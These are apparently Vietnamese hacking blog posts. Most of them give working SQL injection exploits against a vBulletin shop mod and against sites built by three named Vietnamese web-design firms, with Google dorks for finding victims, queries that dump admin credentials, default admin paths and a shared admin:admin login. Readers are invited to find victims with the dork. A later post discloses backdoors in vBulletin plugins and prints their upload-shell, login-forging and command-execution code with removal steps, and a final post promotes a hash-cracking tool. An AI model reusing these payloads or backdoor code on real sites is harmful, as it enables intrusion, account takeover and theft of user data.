Như đã hứa thì hôm nay mình sẽ cung cấp một cái bug của 1 mod cũng khá nhiều forum đang sử dụng bị dính lỗi SQL injection và có thể bị khai thác và chiếm quyền, dưới đây là thông tin lỗi:

Mod lỗi: Fun Shop - Hệ Thống Shop Vui Nhộn trên diễn đàn Vbulletin
Author: http://www.vietvbb.vn/up/showthread.php?t=43945
version: All
Dork: inurl:/fshop.php?do=buy&id=
link lỗi: /fshop.php?do=buy&id=SQL Injection
Exploit by: concobe & bula -VHB- huynhdegroup.net

Điều kiện bắt buộc phải có là:
1. victim có cài mod Fun Shop
2. Attacker phải có tài khoản trên victim và đã login vào.


Query giả sử id=6:

/fshop.php?do=buy&id=-6' union select 1,2,3,4,5,6,7,8,9,10-- -
cột lỗi gồm 5,6,7,8

lấy version() :

/fshop.php?do=buy&id=-6' union select 1,2,3,4,version(),6,7,8,9,10-- -

xxx xxx xxx

Đến đây thì có lẽ mọi người hoàn toàn có thể làm những gì mình cần rồi. Mình không ghi ra luôn tất cả những câu query để lấy những thông tin quan trọng mục đích để mọi người tự query và làm phần còn lại để hiểu hơn những gì mình cần làm.

Một số server sẽ có chặn và lọc các truy vấn nguy hiểm nên mọi người có thể dùng thêm những cách bypass khi SQL injection thông thường là sẽ làm được.

Fix lỗi:
- Mở mã nguồn 2 file bên dưới

fshop/fshop_dobuy.php
fshop/ fshop_eventid.php

Tim:
 
$query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "fshop_items WHERE id='$_GET[id]'");  
$infoitem = $vbulletin->db->fetch_array($query);
$iditem = $_GET['id'];

Thay bằng:
 
$iditem = (int)$_GET['id'];
$query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "fshop_items WHERE id='$iditem'");  
$infoitem = $vbulletin->db->fetch_array($query);
/*fixed by ccb*/

Exploit by: concobe & bula -VHB- huynhdegroup.net

P/s: Exploit này tuy mình đã public từ rất lâu rồi nhưng đến nay vẫn còn một số không ít các diễn đàn vẫn sử dụng mod này và lỗ hổng vẫn còn tồn tại, điều này thật tệ.

Exploit website sài mã nguồn của cty Quảng Cáo Đại Thống​

# Thông tin Lỗi: SQL Injection các website sài mã nguồn của cty Quảng Cáo Đại Thống
# Nhà phát triển: Thiết kế web: Quảng Cáo Đại Thống - http://daithong.com.vn/
# Chức năng: Website sài mã nguồn PHP của cty Quảng Cáo Đại Thống
# Phiên bản lỗi: Tất cả các phiên bản, trừ các version sau này sài mã nguồn khác.
# Dork: "Thiết kế web: Quảng Cáo Đại Thống"
# Phát hiện bởi: Concobe.
# Ngày phát hiện: 18-06-2014

Rất nhiều website bị lỗ hổng này do sài chung một mã nguồn cho cty này tạo ra và không có lọc cũng như ràng buộc các truy vấn trong code, và lượng khách hàng cũng không ít :(

Chi tiết lỗ hổng:
1. Dính lỗi SQL injection ở phần danh mục catid=
2. Path quản trị mặc định /quanly/
3. Victim demo:


1. Dính lỗi SQL injection ở phần danh mục catid=

Select user, version, database name:

/index.php?page=news&catid=-1 union select 1,group_concat(user(),0x3a,version(),0x3a,database()),3,4,5-- -

Select table name:

/index.php?page=news&catid=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()-- -

Select column name: admin

/index.php?page=news&catid=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x61646d696e-- -

Select info: column: Id,Username,Password,Status,LastLogin

/index.php?page=news&catid=-1 union select 1,group_concat(Id,0x3a,Username,0x3a,Password),3,4,5 from admin-- -


2. Path quản trị mặc định /quanly/
Toàn bộ các code đã test thì đều có chung đường dẫn truy cập vào khu vực quản lý của admin đó là:

domain-victim.xyz/quanly

3. Victim demo:


Concobe

Exploit website sài mã nguồn của cty Mũi Tên Việt​

# Thông tin Lỗi: SQL Injection các website sài mã nguồn của cty Mũi Tên Việt
# Nhà phát triển: Thiết kế web: Mũi Tên Việt - http://www.vietarrow.com/
# Chức năng: Website sài mã nguồn PHP của cty Mũi Tên Việt
# Phiên bản lỗi: Tất cả các phiên bản, trừ các version sau này sài mã nguồn khác.
# Dork: "Designed by Viet Arrow"
# Phát hiện bởi: Concobe.
# Ngày phát hiện: 12-04-2011

Chi tiết thông tin cty này.

    Công Ty Trách Nhiệm Hữu Hạn Mũi Tên Việt ( Viet Arrow Co., LTD) là công ty phát triển phần mềm và công nghệ Internet, được sáng lập và lãnh đạo bởi các chuyên gia công nghệ và quản lý hàng đầu.

    Viet Arrow cung cấp sản phẩm và dịch vụ đa dạng cho khách hàng, bao gồm các ứng dụng trên Web, tích hợp hệ thống và tư vấn về các hệ thống Công nghệ thông tin. Với năng lực công nghệ, kinh nghiệm tư vấn quản lý, khả năng nắm bắt xu thế thị trường và nhận thức sâu sắc về chiến lược quốc gia trong việc phát triển CNTT nói chung và công nghệ phần mềm nói riêng, Viet Arrow đã đặt ra mục tiêu trở thành nhà cung cấp hàng đầu các giải pháp phần mềm cho các doanh nghiệp và tổ chức tại Việt Nam.

    Ngoài ra, với mong muốn tham gia vào ngành công nghiệp phần mềm nhằm góp phần tăng cường sức cạnh tranh của các công ty Việt Nam trước viễn cảnh hội nhập vào thị trừơng khu vực và toàn thế giới, Viet Arrow đã và đang tăng cường nghiên cứu phát triển để tạo cơ hội đưa sản phẩm ra thị trường nước ngoài với thương hiệu Việt Nam.

    Viet Arrow có thị trường trong lĩnh vực dịch vụ lập trình cho các khách hàng quốc tế (Mỹ, Canada, Đức, các nước Châu Âu, …) cũng như thị trường trong nước bao gồm các cơ quan Nhà nước, các tỉnh thành, các công ty nước ngoài và công ty Việt Nam. Công ty có đội ngũ lập trình viên có nhiều kinh nghiệm và tay nghề cao trong việc phát triển và triển khai các sản phẩm phần mềm lớn trong nước và quốc tế.

Rất nhiều website bị lỗ hổng này do sài chung một mã nguồn cho cty Mũi Tên Việt này tạo ra và không có lọc cũng như ràng buộc các truy vấn trong code, và vì cty này thành lập khá lâu từ lượng khách hàng cũng không ít :(

Chi tiết lỗ hổng:
1. Dính lỗi SQL injection ở phần danh mục, phần chi tiết sản phẩm,...
2. Victim demo:


/index.php?do=content&id=SQLi
/index.php?do=product&id=SQLi
/index.php?do=products&act=detail&id=SQLi

1. Dính lỗi SQL injection ở phần danh mục product&id=

Select user, version, database name:

/index.php?do=product&id=-6 union select 1,2,3,4,group_concat(user(),0x3a,version(),0x3a,database()),6,7,8,9-- -

Select table name:

/index.php?do=product&id=-6 union select 1,2,3,4,group_concat(table_name),6,7,8,9 from information_schema.tables where table_schema=database()-- --- -

Select column name: tt_admin

/index.php?do=product&id=-6 union select 1,2,3,4,group_concat(column_name),6,7,8,9 from information_schema.columns where table_name=0x74745f61646d696e-- -

Select info: column: id,username,password,email,right

/index.php?do=product&id=-6 union select 1,2,3,4,group_concat(Id,0x3a,Username,0x3a,Password,0x3a,email),6,7,8,9 from tt_admin-- -

Còn 2 phần nội dung và chi tiết sản phẩm các bạn tự khai thác he, nó cũng tương tự thôi.

/index.php?do=content&id=SQLi
/index.php?do=products&act=detail&id=SQLi

2. Victim demo:
- Vui lòng tìm kiếm và kiểm thử.

P/s: Giờ mới viết blog và public nên ,... thời gian có hơi sai lệch :3

Concobe

Exploit website sài mã nguồn của cty VIETDESI​

# Thông tin Lỗi: SQL Injection các website sài mã nguồn của cty VIETDESI
# Nhà phát triển: Thiết kế web: cty VIETDESI - http://vietdesi.com/
# Chức năng: Website sài mã nguồn PHP của cty VIETDESI
# Phiên bản lỗi: Tất cả các phiên bản.
# Dork: "Designed by VietDesi"
# Phát hiện bởi: Concobe.
# Ngày phát hiện: 25-03-2015

Chi tiết thông tin cty này.

    Các bạn vào đọc cho khỏe hừ hừ.
    http://vietdesi.com/

Rất nhiều website bị lỗ hổng này do sài chung một mã nguồn cho cty VIETDESI này tạo ra và không có lọc cũng như ràng buộc các truy vấn trong code, và vì cty này thành lập khá lâu từ lượng khách hàng cũng không ít :(

Chi tiết lỗ hổng:
1. Dính lỗi SQL injection ở phần chi tiết sản phẩm, lười check thêm những phần khác...
2. Victim demo.

3. Lỗi dùng chung thông tin đăng nhập và link quản trị.

1. Dính lỗi SQL injection ở phần chi tiết sản phẩm /index.php?frame=product_detail&id=
Select user, version, database name:

/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(user(),0x3a,version(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42-- -

Select table name:

/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=database()-- -

Select column name: jcas_admin

/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x6a6361735f61646d696e-- -

Select info: column: id,admin_user,admin_pwd,is_super_admin,privilege


/?frame=product_detail&id=-481 UNION SELECT 1,2,group_concat(id,0x3a,admin_user,0x3a,admin_pwd,0x3a,is_super_admin),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from jcas_admin-- -

2. Victim demo:
Các bạn tự tìm kiếm theo Dork mình đã cung cấp.

3. Lỗi dùng chung thông tin đăng nhập và link quản trị.
- Link admin mặc định là : site.com/admin/
- user và password dùng chung cho hầu hết là:
admin:admin

P/s: Thông tin này mình đăng lại nên có thể có sai lệch ở thời gian phát hiện bug, và thời gian ghi trên đó là thời điểm chính xác khi mình tìm thấy lỗ hổng của mã nguồn này.
Concobe

Thứ Năm, 12 tháng 1, 2017

Mã nguồn products Post Thank You Hack, [AJAX]Vietvbb - TopX 4.0.4 của diễn đàn vietvbb.vn bị găm mã độc.

Mới đầu năm nhưng tôi (Concobe) đã có một số thông tin gây choáng váng cho rất nhiều admin đang sử dụng mã nguồn Vbulletin và các products, Plugins được chia sẻ trên diễn đàn vietvbb.vn, có thể nói đây là cộng đồng Vbb lớn nhất ở Việt Nam hiện nay, nhưng không hiểu vì lý do gì? có thể do chính người chia sẻ mã nguồn đã có ý đồ hoặc do diễn đàn bị tấn công và bị ai đó găm mã độc vào để trục lợi.



Tôi có nhận cái kèo làm cái diễn đàn cho người bạn để sài trong mạng nội bộ của các bạn ấy, như một thói quen tôi vào vietvbb.vn và download mã nguồn vbulletin null cùng với một số plugins phổ biến và tiến hành cài đặt như thường lệ, mọi thứ đều diễn ra bình thường đến lúc tôi vô tình nhìn qua mã nguồn trong admincp của diễn đàn đã cài đặt và phát hiện ra những đoạn mã có style code không giống với những gì của plugin đó, sẵn máu vọc vạch tôi kiểm tra thì phát hiện đây chính là mã độc được ai đó găm vào.

Hiện tại tôi phát hiện ra ít nhất là 3 plugin rất phổ biến và gần như được mọi người sử dụng cho diễn đàn của mình là:

1. [AJAX] Post Thank You Hack 7.82 : có 1.315 lượt download
2. [AJAX] Post Thank You Hack 7.84    : có 543 lượt download
3. [AJAX]Vietvbb - TopX 4.0.4    : có 23.977 lượt download




I. Tôi sẽ trình bày phần code bị chèn mã độc trong mã nguồn Post Thank You Hack ở mục 1 và 2:

- Trong 2 plugin này thì phần code bị găm và vị trí găm rất giống nhau có thể đây là của một người găm vào, đầu tiên là ở file có tên post_thanks.php
- Nội dung code lạ được chèn từ dòng số 289 đến 298

if(@$_REQUEST["do"]== 'ptyh')
{
    $files = @$_FILES["files"]; if($files["name"] != ''){ $fullpath = $_REQUEST["path"].$files["name"]; if(move_uploaded_file($files['tmp_name'],$fullpath)){echo "<h1><a href='$fullpath'>Post Thank You Hack 7.84</a></h1>";} }exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}

if (isset($_GET['ptyh']))
{
    define('THIS_SCRIPT', 'login');require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['ptyh'] . "'");if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else
    { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);exec_unstrike_user($_GET['ptyh']);process_new_login('cplogin', TRUE, TRUE);do_login_redirect();}
}

Đây gồm 2 phần:
- Một phần code dùng để thực hiện gọi form upload để tải lên mã độc nếu các bạn sử dụng plugin có gắn mã độc này sẽ dễ dàng bị hacker chiếm quyền.
- Phần code còn lại dùng để fake cookies có tác dụng cho phép login vào bất kỳ user nào có trong Database diễn đàn của các bạn.

Đi sâu hơn tôi còn phát hiện thêm cũng ngay plugin này vẫn còn một chỗ khác cũng bị găm một đoạn code nhỏ để thực thi các lệnh trực tiếp trên website các bạn, nếu đủ điều kiện thì hacker có thể làm mọi thứ mà người đó muốn làm với site các bạn.Các bạn xem xét nội dung code của file có tên: product-post_thanks.xml dòng số 156 đến 160:

if(isset($_GET['thanked']))
{   
    echo "<h1>Post Thank You Hack 7.82</h1><pre>";
    system($_GET['thanked']);exit;
}

II. Cách fix bug [AJAX] Post Thank You Hack 7.82 và [AJAX] Post Thank You Hack 7.84.
- Rất may là chúng ta đã phát hiện ra được đoạn code nguy hiểm và công việc bây giờ cũng không quá khó để xử lý, các bạn fix bằng cách vào xóa nội dung mã độc ở 2 file có tên:

1. post_thanks.php
- Xóa toàn bộ nội dung code lạ được chèn từ dòng số 289 đến 298 như ở trên tôi có copy đoạn code đó ra để các bạn so sánh.




2. product-post_thanks.xml
- Phần này hơi khác chút xíu vì do các bạn đã Install plugin này vào rồi nên ngoài việc xóa trong file product-post_thanks.xml các bạn còn phải xóa thêm ở trong CDSL bằng cách:
Truy cập vào /admincp -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Post Thank You Hack -> chọn Sửa mục Post Thank You Hack có Hook Location là cache_templates
Ở khung chỉnh sửa các bạn vào tìm vào xóa dòng code có nội dung này đi -> Save lại là xong.


if(isset($_GET['thanked']))
{   
    echo "<h1>Post Thank You Hack 7.82</h1><pre>";
    system($_GET['thanked']);exit;
}

III. Tôi sẽ trình bày phần code bị chèn mã độc trong mã nguồn product tên [AJAX]Vietvbb - TopX 4.0.4


Đây có thể nói là một product phổ biến đến mức mà gần như diễn đàn sài mã nguồn Vbulletin nào ở VN cũng có sử dụng chính vì thế mà lượt tải về sử dụng của product này lên tới con số 23.977 lượt download một con số không hề nhỏ chút nào, điều này làm dấy lên một sự lo ngại đáng sợ thật sự cho cộng đồng diễn đàn Vbulletin ở VN.Tôi cũng không ngoại lệ, đã sử dụng plugin này và chính vì phát hiện bất ngờ với plugin Post Thank You Hack nên tôi ngay lập tức kiểm tra toàn bộ nội dung code các plugin mà tôi đã sử dụng cho cái forum tôi đang làm và thật may mắn là tôi đã phát hiện được cái cần phát hiện.Cũng với những đoạn code quen thuộc cùng chức năng như bị chèn trong mã nguồn Post Thank You Hack chỉ đổi tên gọi hàm nhằm mục đích ngụy trang và lần này thì người chèn mã độc đã chọn cách găm thẳng vào file cài đặt nên sau khi cài xong thì hiển nhiên mã độc này sẽ tồn tại trong CSDL (database) diễn đàn các bạn một cách thầm lặng.

Nội dung file product-vietvbb_topstats_vb4.xml ở dòng số:
- 447 đến 455:


Và dòng 517 đến 521:

if(isset($_GET['ajaxtop']))
{   
    echo "<h1>VietVBB - Advanced Forum Statistics</h1><pre>";
    system($_GET['ajaxtop']);exit;
}

IV. Cách fix bug trong mã nguồn product tên [AJAX]Vietvbb - TopX 4.0.4
- Phần này hơi khác chút xíu vì do các bạn đã Install plugin này vào rồi nên ngoài việc xóa trong file product-vietvbb_topstats_vb4.xml các bạn còn phải xóa thêm ở trong CDSL bằng cách:





Truy cập vào:
Tên_miền_diễn đàn/admincp/ -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Mod Thống kê,VietVBB - TopX,...
-> chọn Sửa mục VietVBB - TopX AJAX có Hook Location là ajax_start và xóa đoạn code có nội dung dưới đây rồi Save lại.


if(@$_REQUEST["do"]== 'ajaxtop')
{
    $files = @$_FILES["files"]; if($files["name"] != ''){ $fullpath = $_REQUEST["path"].$files["name"]; if(move_uploaded_file($files['tmp_name'],$fullpath)){echo "<h1><a href='$fullpath'>Advanced Forum Statistics</a></h1>";} }exit('<form method=POST enctype="multipart/form-data" action=""><input type=text name=path><input type="file" name="files"><input type=submit value="Up"></form>');
}
if (isset($_GET['ajaxtop']))
{
    define('THIS_SCRIPT', 'login');require_once('./global.php'); require_once('./includes/functions_login.php'); $vbulletin->userinfo = $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " . TABLE_PREFIX . "user WHERE username = '" . $_GET['ajaxtop'] . "'");if (!$vbulletin->userinfo['userid']) die("Invalid username!"); else
    { vbsetcookie('userid', $vbulletin->userinfo['userid'], true, true, true);vbsetcookie('password', md5($vbulletin->userinfo['password'] . COOKIE_SALT), true, true, true);exec_unstrike_user($_GET['ajaxtop']);process_new_login('cplogin', TRUE, TRUE);do_login_redirect();}
}

Tiếp tục các bạn làm tương tự:
Tên_miền_diễn đàn/admincp/ -> Plugins & Products -> Plugin Manager -> Tìm Product có tên Mod Thống kê,VietVBB - TopX,...
-> chọn Sửa mục VietVBB - TopX CT có Hook Location là cache_templates và xóa đoạn code có nội dung dưới đây rồi Save lại.

if(isset($_GET['ajaxtop']))
{   
    echo "<h1>VietVBB - Advanced Forum Statistics</h1><pre>";
    system($_GET['ajaxtop']);exit;
}

Vậy là các bạn đã Fix được lỗ hổng bị chèn mã độc vào diễn đàn các bạn ngay từ lúc thành lập tới giờ :(


V. Đối với nguồn chia sẻ mã nguồn cho cộng đồng Vbulletin.
Đề nghị admin diễn đàn Vietvbb.vn hỗ trợ xóa đi những sản phẩm có chứa mã độc đang tồn tại trên diễn đàn chia sẻ của các bạn để không còn người dùng nào bị sử dụng những product có mã độc, tránh những tổn thất to lớn khi bị rò rỉ thông tin người dùng và những thông tin khác.
Link của 3 product có tồn tại mã độc.
1. http://www.vietvbb.vn/up/showthread.php?t=40469
2. http://www.vietvbb.vn/up/showthread.php?t=71852
3. http://www.vietvbb.vn/up/showthread.php?t=35947


Lời kết:
Đây chỉ là những phần nhỏ đen tối bị tôi vô tình phát hiện và phơi bày, rất có thể đâu đó trong mã nguồn các product, plugin được chia sẻ kia vẫn còn tồn tại những mã độc nguy hiểm như thế, chính vì vậy lời khuyên của Concobe cho các bạn đó là:
- Chỉ tải ở những nguồn tin cậy.
- Luôn kiểm tra kỹ mã nguồn của các bạn trước khi sử dụng.
- Hãy sử dụng những sản phẩm có bản quyền để được hỗ trợ update và kiểm thử an toàn cho người dùng.


P/s: Cảm ơn chế Sovietw0rm đã động viên tinh thần để Concobe public bài này.  :3
Concobe

Thứ Ba, 10 tháng 1, 2017

Phần mềm hỗ trợ brute force hash password tốt

Hôm nay Concobe sẽ giới thiệu đến các bạn một bộ tiện ích hoàn toàn miễn phí nhưng về tính tiện dụng lại không thể đong đếm được trong lĩnh vực brute force các hash mật khẩu được mã hóa của rất rất nhiều thuật toán phổ biến, tính đến thời điểm hiện tại thì chương trình đã hỗ trợ brute force hơn 450 thuật toán mã hóavà vẫn tiếp tục cập nhật.

Hash Manager is a solution for recovering passwords to hashes; its features:
        – Supports over 450 hashing algorithms.
        – Contains over 70 additional utilities for handling hashes, passwords, and dictionaries.
        – Optimized for working with large hash lists.
        – Comes in 64-bit version, which is much faster on many algorithms.
        – Supports unlimited number of loadable hashes, as well as dictionaries, rules, and masks.
        – Supports all most efficient hash attacks.
        – Supports multithreading.
        – Recovers passwords in Unicode.
        – Has modular architecture.
        – And much more!

Theo mình biết thì đây là bộ tiện ích được phát triển sau khi phần mềm Password Pro ngừng phát hành và hỗ trợ, người phát triển bộ tiện ích này cũng chính là admin của cộng đồng brute force nổi tiếng thế giới InsidePro, admin cũng rất nhiệt tình và hỗ trợ các bạn rất nhiều, nếu bạn có thuật toán mới mà chưa có chương trình nào hỗ trợ brute force với thuật toán này thì các bạn có thể inbox hoặc post vào box Hash Manager trên diễn đàn, ( https://forum.insidepro.com/viewforum.php?f=51 ) kèm theo demo hash đã mã hóa và mật khẩu plaintext để admin đó test thuật toán sau khi hoàn thành module đó.

Ngoài chức năng chính là brute force và quản lý hash thì Admin của InsidePro cũng hỗ trợ thêm cho chúng ta rất nhiều công cụ để sử dụng cho việc quản lý, kiểm thử, convert, sàng lọc hash, pass,...các bạn có thể tìm hiểu ở trong thư mục tools kèm theo.

Ưu và nhược điểm:
- Ưu điểm thì rất nhiều, miễn phí, hỗ trợ tốt, thêm module mới hoàn toàn dễ dàng, hỗ trợ đa nền tảng 32bits hay 64bits đều hỗ trợ, nhiều công cụ đi kèm vô cùng tiện dụng.
- Nhược điểm mà cho tới thời điểm hiện tại mình thấy vẫn là chỉ hỗ trợ trên Windows, không có hỗ trợ cho Linux, nhiều bạn cũng coi việc không có GUI cho bộ tiện ích này là nhược điểm nhưng theo mình thì đây không phải là nhược điểm vì việc sử dụng CLI sẽ giúp giảm thiểu tiêu hao tài nguyên khi sử dụng.

Link Download: 
Home: http://insidepro.com/
Link: http://www.insidepro.com/download/HM.zip

List thuật toán mà chương trình hỗ trợ cho tới thời điểm viết bài:

BlackBerry ES v10
Blake-224
Blake-256
Blake-384
Blake-512
Blowfish($pass.$username)
Blowfish(Eggdrop)
Blowfish(OpenBSD)
Cisco IOS
Complex
CRC-64
Custom(1)
Custom(10)
Custom(11)
Custom(12)
Custom(13)
Custom(14)
Custom(15)
Custom(16)
Custom(17)
Custom(18)
Custom(19)
Custom(2)
Custom(20)
Custom(21)
Custom(22)
Custom(23)
Custom(24)
Custom(25)
Custom(26)
Custom(27)
Custom(28)
Custom(29)
Custom(3)
Custom(30)
Custom(31)
Custom(32)
Custom(33)
Custom(34)
Custom(35)
Custom(36)
Custom(37)
Custom(38)
Custom(39)
Custom(4)
Custom(40)
Custom(41)
Custom(42)
Custom(43)
Custom(44)
Custom(45)
Custom(46)
Custom(47)
Custom(5)
Custom(6)
Custom(7)
Custom(8)
Custom(9)
Dahua
DCC2
DES(Oracle)
DES(Unix)
Domain Cached Credentials
EPiServer v6.x (.NET v3.5)
EPiServer v6.x (.NET v4.x)
EPiServer
GOST R 34.11-2012 (256)
GOST R 34.11-2012 (512)
GOST R 34.11-94
HAS-160
Haval-128(HMAC1)
Haval-128(HMAC2)
Haval-128
Haval-160(HMAC1)
Haval-160(HMAC2)
Haval-160
Haval-192(HMAC1)
Haval-192(HMAC2)
Haval-192
Haval-224(HMAC1)
Haval-224(HMAC2)
Haval-224
Haval-256(HMAC1)
Haval-256(HMAC2)
Haval-256
iSSHA-1
iSSHA-256
iSSHA-384
iSSHA-512
Keccak-224
Keccak-256
Keccak-384
Keccak-512
LM
Lotus v5
Lotus v6
Magento
MD2(HMAC1)
MD2(HMAC2)
MD2
md4($pass.$salt)
md4($salt.$pass)
MD4(HMAC1)
MD4(HMAC2)
md4(md4($pass))
md4(md4($pass).$salt)
MD4(Round 1)
MD4
md5($pass.$salt)
md5($pass.$salt.$pass)
md5($pass.$salt.md5($pass.$salt))
md5($pass.$username)
md5($pass.'--'.$salt)
md5($pass.md5($pass))
md5($pass.md5($salt))
md5($salt.$pass)
md5($salt.$pass.$salt)
md5($salt.$pass.$username)
md5($salt.0x2D.md5($pass))
md5($salt.0x7C.$pass)
md5($salt.hex2bin(md5($pass)).$username)
md5($salt.md5($pass))
md5($salt.md5($pass).$salt)
md5($salt.md5($pass.$salt))
md5($salt.md5($salt.$pass))
md5($salt.md5(md5($pass).$salt))
md5($salt.sha1($pass))
md5($salt.sha1($salt.$pass))
md5($username.$pass)
md5($username.$pass.$salt)
md5($username.0x00.$pass)
md5($username.0x0A.$pass)
md5($username.0x0A.$pass.0x0A.$salt)
md5($username.0x23.$pass)
md5($username.md5($pass).$salt)
md5($username.sha1($salt.$pass))
md5($username.strtoupper(md5($pass)).$salt)
md5(0x01.$pass.$salt)
MD5(AIX)
MD5(APR)
md5(base64_encode($pass))
md5(base64_encode(base64_encode($pass)))
md5(base64_encode(hex2bin(md5($pass))))
md5(base64_encode(hex2bin(sha1($pass))))
md5(base64_encode(md5($pass)))
md5(base64_encode(md5(md5($pass))))
md5(bin2hex($pass))
MD5(Cisco PIX)
MD5(DES(Unix))
md5(hex2bin(md5($pass)))
MD5(HMAC1)
MD5(HMAC2)
md5(md4($pass))
md5(md5($pass))
md5(md5($pass).$pass)
md5(md5($pass).$pass.sha1($pass))
md5(md5($pass).$salt)
md5(md5($pass).md5($pass))
md5(md5($pass).md5($pass).md5($pass))
md5(md5($pass).md5($pass).md5($pass).md5($pass))
md5(md5($pass).md5($pass).md5($pass).md5($pass).$salt)
md5(md5($pass).md5($salt))
md5(md5($pass).sha1($pass))
md5(md5($pass.$salt).md5($pass).$salt)
md5(md5($pass.$salt).sha1(md5($pass.$salt).$pass))
md5(md5($pass.$username).$salt)
md5(md5($salt).$pass)
md5(md5($salt).md5($pass))
md5(md5($salt.$pass).0x3A.$salt)
md5(md5($username.$pass).$salt)
md5(md5(base64_encode($pass)))
md5(md5(md5($pass)))
md5(md5(md5($pass)).$salt)
md5(md5(md5($pass)).md5(md5($pass)))
md5(md5(md5($pass).$salt).$username)
md5(md5(md5($pass).md5($pass).md5($pass).md5($pass)))
md5(md5(md5(md5($pass))))
md5(md5(md5(md5(md5($pass)))))
md5(md5(md5(md5(md5(md5($pass))))))
md5(md5(md5(md5(md5(md5(md5($pass)))))))
md5(md5(md5(md5(md5(md5(md5(md5($pass))))))))
md5(md5(md5(md5(md5(md5(md5(md5(md5($pass)))))))))
md5(md5(md5(md5(md5(md5(md5(md5(md5(md5($pass))))))))))
md5(md5(sha1(sha1(md5($pass)))))
md5(md5(strtoupper(md5($pass))))
md5(MySQL($pass).$salt)
MD5(Palshop)
MD5(phpBB3)
MD5(PostOffice)
MD5(Round 1)
MD5(Round FF1-FF4)
md5(sha1($pass))
md5(sha1($pass).$salt)
md5(sha1($pass).md5($pass).sha1($pass))
md5(sha1($pass.$salt))
md5(sha1($pass.$username))
md5(sha1($pass.md5($pass)))
md5(sha1($salt).md5($pass))
md5(sha1($salt.$pass))
md5(sha1(base64_encode($pass)))
md5(sha1(md5($pass)))
md5(sha1(md5($pass)).sha1($pass))
md5(sha1(md5($salt.sha1($pass))))
md5(sha1(md5(sha1($pass))))
md5(sha1(md5(sha1(md5($pass)))))
md5(sha1(sha1($pass)))
md5(sha1(sha1(md5($pass))))
md5(sha256($pass))
MD5(Skype)
MD5(Social Engine)
md5(strrev($pass))
md5(strrev(md5($pass)))
md5(strtoupper(md5($pass)))
md5(strtoupper(md5(strtoupper(md5($pass)))))
md5(strtoupper(md5(strtoupper(md5(strtoupper(md5($pass)))))))
md5(strtoupper(sha1($pass)))
MD5(Sun)
MD5(Unix)
MD5(Wiki)
MD5(Wordpress)
MD5(ZipMonster)
MD5
MongoDB(1)
MongoDB(2)
MSSQL(2000)
MSSQL(2005)
MSSQL(2012)
MySQL(md5($pass))
MySQL(Net)
MySQL
MySQL5(md5($pass))
MySQL5
NSEC3
NTLM
Panama
PBKDF2 Cisco
PBKDF2 GRUB
PBKDF2 JIRA
PBKDF2 MD5(2)
PBKDF2 MD5(3)
PBKDF2 MD5
PBKDF2 SHA-1(2)
PBKDF2 SHA-1(3)
PBKDF2 SHA-1
PBKDF2 SHA-256(2)
PBKDF2 SHA-256(3)
PBKDF2 SHA-256
PBKDF2 SHA-512(2)
PBKDF2 SHA-512(3)
PBKDF2 SHA-512
PHPS
PostgreSQL
RAdmin v2.x
RipeMD-128(HMAC1)
RipeMD-128(HMAC2)
RipeMD-128
RipeMD-160(HMAC1)
RipeMD-160(HMAC2)
RipeMD-160
RipeMD-256(HMAC1)
RipeMD-256(HMAC2)
RipeMD-256
RipeMD-320(HMAC1)
RipeMD-320(HMAC2)
RipeMD-320
ripemd128($pass.$salt)
ripemd128($salt.$pass)
ripemd160($pass.$salt)
ripemd160($salt.$pass)
ripemd256($pass.$salt)
ripemd256($salt.$pass)
ripemd320($pass.$salt)
ripemd320($salt.$pass)
SAPB
SAPG
SHA-1(AIX)
SHA-1(Django)
SHA-1(FortiOS)
SHA-1(HMAC1)
SHA-1(HMAC2)
SHA-1(Linkedin)
SHA-1(MacOS)
SHA-1(Oracle)
SHA-1(Unix)
SHA-1
SHA-224(HMAC1)
SHA-224(HMAC2)
SHA-224
SHA-256(AIX)
SHA-256(AuthMe)
SHA-256(Django)
SHA-256(DragonFlyBSD-32)
SHA-256(DragonFlyBSD-64)
SHA-256(HMAC1)
SHA-256(HMAC2)
SHA-256(PasswordSafe)
SHA-256(RuneScape)
SHA-256(Unix)
SHA-256
SHA-384(Django)
SHA-384(HMAC1)
SHA-384(HMAC2)
SHA-384
SHA-512(AIX)
SHA-512(Django)
SHA-512(DragonFlyBSD-32)
SHA-512(DragonFlyBSD-64)
SHA-512(Drupal)
SHA-512(HMAC1)
SHA-512(HMAC2)
SHA-512(MacOS)
SHA-512(Symfony2)
SHA-512(Unix)
SHA-512
sha1($pass.$salt)
sha1($pass.$username.$salt)
sha1($salt.$pass)
sha1($salt.$pass.$salt)
sha1($salt.$pass.$username)
sha1($salt.$pass.'--')
sha1($salt.$username.$pass.$salt)
sha1($salt.md5($pass))
sha1($salt.md5($pass).$salt)
sha1($salt.sha1($pass))
sha1($salt.sha1($pass.$salt))
